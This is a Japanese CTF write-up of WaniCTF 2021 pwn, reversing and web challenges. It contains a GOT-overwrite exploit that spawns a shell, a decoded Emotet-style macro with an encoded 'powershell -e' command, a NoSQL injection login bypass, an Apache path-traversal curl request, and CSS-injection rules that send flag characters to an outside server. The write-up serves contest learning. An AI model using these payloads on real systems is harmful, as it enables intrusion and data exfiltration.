s.sendafter("2>", b"a")
s.sendafter("3>", b"a"*0x28+pack(0x31)+pack(0x4034b8))
s.sendafter("4>", b"a")
s.sendafter("5>", pack(elf.symbols.main))
s.recvuntil("!!!0x")
ld = int(s.recv(12), 16)
libc = ELF("libc-2.31.so")
libc.address = ld-(0x7f420177df5b-0x7f4201576000)
# fp = {sing, system}
s.sendafter("0>", b"write %* "+pack(elf.symbols.sing)+pack(libc.symbols.system))
s.sendafter("1>", b"erease /bin/sh")
s.sendafter("2>", b"a"*0x28+pack(0x31)+pack(elf.got.malloc))
s.sendafter("3>", b"a")
s.sendafter("4>", pack(elf.symbols.main)+pack(libc.symbols.strtok))
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/wani2021_2/diva/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to diva.pwn.wanictf.org on port 9008: Done
[*] '/mnt/d/documents/ctf/wani2021_2/diva/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Program came from the future
I'm born to take flag with music
Year : 2061
command : write %* `\x13
----Lyrics list----
[0]:
[1]:
[2]:
[3]:
[4]:
-------------------
Year : 2076
command : erease /bin/sh
$ cat flag.txt
FLAG{in_this_dazzling_time}$
FLAG{in_this_dazzling_time}
Reversing
ltrace (Beginner)
この問題はltraceで解ける...ってコト!?
$ ltrace ./ltrace
printf("Input flag : ") = 13
__isoc99_scanf(0x5614ba208012, 0x7ffde1194db0, 0, 0Input flag : hoge
) = 1
strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...) = 34
puts("Incorrect"Incorrect
) = 10
+++ exited (status 1) +++
……。途中で切れてる。
ヒント : オプションをよく確認しよう
はい。
$ ltrace -s 100 ./ltrace
printf("Input flag : ") = 13
__isoc99_scanf(0x55b1576ea012, 0x7fff4b66e480, 0, 0Input flag : aaa
) = 1
strcmp("aaa", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}") = 27
puts("Incorrect"Incorrect
) = 10
+++ exited (status 1) +++
FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}
pwsh (Easy)
PowerShellのウィンドウに|& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')
の前までを貼り付けたら解けた。
PS C:\Users\kusano> (("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
>> Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
>> ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4
>>
>> ','W4Co','d','e','rrect!cW4
>> } ','rec','tcW4
>> }
>> ',' {','tput c','cW4Welcome to t','f',' Write-Ou','
>>
>> if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36)
echo "Welcome to the world of PowerShell!"
$input = Read-Host "Password"
if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
Write-Output "Correct!"
} else {
Write-Output "Incorrect"
}
FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}
EmoEmotet (Hard)
Windows, Wordがなくても解くことができます
ヒント : https://github.com/decalage2/oletools
Wordはあるけど、何か対策されているのか単に環境が壊れているのかマクロが表示できなかったので、ヒントのツールを使った。
出てくるマクロが暗号化されているので復号。
import base64
def unxor(cipher, start):
key = (
"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl"
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9"
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n"
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw=="
)
key = base64.b64decode(key)
clear = ""
for i in range(len(cipher)):
clear += chr(cipher[i]^key[i+start])
return clear
print(
unxor([135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56], 3) +
unxor([201, 1], 14)
)
# .Run
print(
unxor([137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34], 16) +
unxor([199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203], 66) +
unxor([102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92], 155) +
unxor([234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79], 244) +
unxor([209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10], 333) +
unxor([81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145], 422) +
unxor([220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101], 511) +
unxor([173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126], 600) +
unxor([246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120], 689) +
unxor([21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183], 778) +
unxor([220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163], 867) +
unxor([116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161], 956) +
unxor([129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210], 1045) +
unxor([221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29], 1134) +
unxor([250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87], 1223) +
unxor([214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22], 1312)
)
WScript.Shell
powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA
-e
に渡すのはBase64エンコードされた文字列らしいので、復号.
.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
fROMBASE64STring
良いとして、deflaTEStreaM
はどうしたら良いのだろうな。PowerShellの知識があれば、同じ処理でデコードした文字列を(実行するのではなく)書き出すだけだけれど、無い。PowerShellでそのまま実行して、PowerShellのメモリをダンプした。
echo "Yes, we love VBA!"..$input = Read-Host "Password"..if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {. Write-Output "Correct!".} else {. Write-Output "Incorrect".}
FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}
Web
sourcemap (Beginner)
へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...
え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?
minifyしたときに生成されるファイル(source map)を一緒に配信すれば、ブラウザは元のソースコードを表示してくれるという機能がある。下の画像の webpack://
のところ。
FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}
POST Challenge (Easy)
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!
$ curl -sS https://post.web.wanictf.org/chal/1 -d 'data=hoge' | grep FLAG
Congratulations! Challenge 1 FLAG: y0u
$ curl -sS https://post.web.wanictf.org/chal/2 -d 'data=hoge' -A 'Mozilla/5.0' | grep FLAG
Congratulations! Challenge 2 FLAG: ar3
$ curl -sS https://post.web.wanictf.org/chal/3 -d 'data[hoge]=fuga' | grep FLAG
Congratulations! Challenge 3 FLAG: http
$ curl -sS https://post.web.wanictf.org/chal/4 -d '{"hoge": 1, "fuga": null}' -H 'Content-Type: application/json' | grep FLAG
Congratulations! Challenge 4 FLAG: p0st
$ curl -sS https://post.web.wanictf.org/chal/5 -F 'data=blic/images/wani.png' | grep FLAG
Congratulations! Challenge 5 FLAG: m@ster!
FLAG{y0u_ar3_http_p0st_m@ster!}
NoSQL (Normal)
ユーザー名とパスワードを文字列ではなく{"$ne": 1}
にするとログインできる。
$ curl https://nosql.web.wanictf.org/login -H 'Content-type: application/json' -d '{"username": {"$ne": 1}, "password": {"$ne": 1}}' -v
で出てきたcookieをブラウザに設定してアクセス。
traversal (Hard)
Webサーバーにロードバランサーをつけたよ!
なんかWebサーバーのバージョンがアレらしいけど、秘密のファイル/flag.txtはそのままでいっか!
Apacheのバージョンは最近パストラバーサルの脆弱性(CVE-2021-41733)が見つかったもの。それならやるだけかと思いきや、前段のnginxが邪魔をする。
先頭に/
を付ければ回避できるらしい。へぇー。
curlが処理してしまわないように、--path-as-is
を付ける。
$ curl --path-as-is https://traversal.web.wanictf.org/cgi-bin////.%2e/.%2e/.%2e/.%2e/flag.txt
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}
Styled memo (Very hard)
CSSをアップロードすることで見た目を調整可能なメモアプリです!
CSS Injection。
何のセキュリティ機構か知らないけど、
button{background: url(http://myserver:8000)}
をアップロードして、python3 -m http.server
で待ち受けていると、HTTPSでリクエストが飛んできて表示できない……。まあ、これは適当なHTTPSのサーバーを使えば良いだろう。
adminevJVsXImにadminevJVsXImのメモを確認してもらう
をクリックしても、サーバーからのリクエストが飛んでこないと思ったら、「adminevJVsXImのメモ」を確認するのだった。私のメモではない。
名前をadminevJVsXIm/
に(adminevJVsXIm
に変えようとしたら弾かれた)すると、adminが使っているディレクトリにCSSを置ける。ここにexample.cssというファイル名で置いておくと、adminがそのCSSを読み込む。
button[data-content^='FLAG{0']{background: url(https://ksnctf.sweetduet.info/wani/?0)}
button[data-content^='FLAG{1']{background: url(https://ksnctf.sweetduet.info/wani/?1)}
button[data-content^='FLAG{2']{background: url(https://ksnctf.sweetduet.info/wani/?2)}
button[data-content^='FLAG{3']{background: url(https://ksnctf.sweetduet.info/wani/?3)}
button[data-content^='FLAG{4']{background: url(https://ksnctf.sweetduet.info/wani/?4)}
:
で、 https://ksnctf.sweetduet.info/wani/?C にリクエストが飛んでくるので、次は、
button[data-content^='FLAG{C0']{background: url(https://ksnctf.sweetduet.info/wani/?0)}
button[data-content^='FLAG{C1']{background: url(https://ksnctf.sweetduet.info/wani/?1)}
button[data-content^='FLAG{C2']{background: url(https://ksnctf.sweetduet.info/wani/?2)}
button[data-content^='FLAG{C3']{background: url(https://ksnctf.sweetduet.info/wani/?3)}
button[data-content^='FLAG{C4']{background: url(https://ksnctf.sweetduet.info/wani/?4)}
:
をアップロードして……ということを手作業で頑張った。
FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}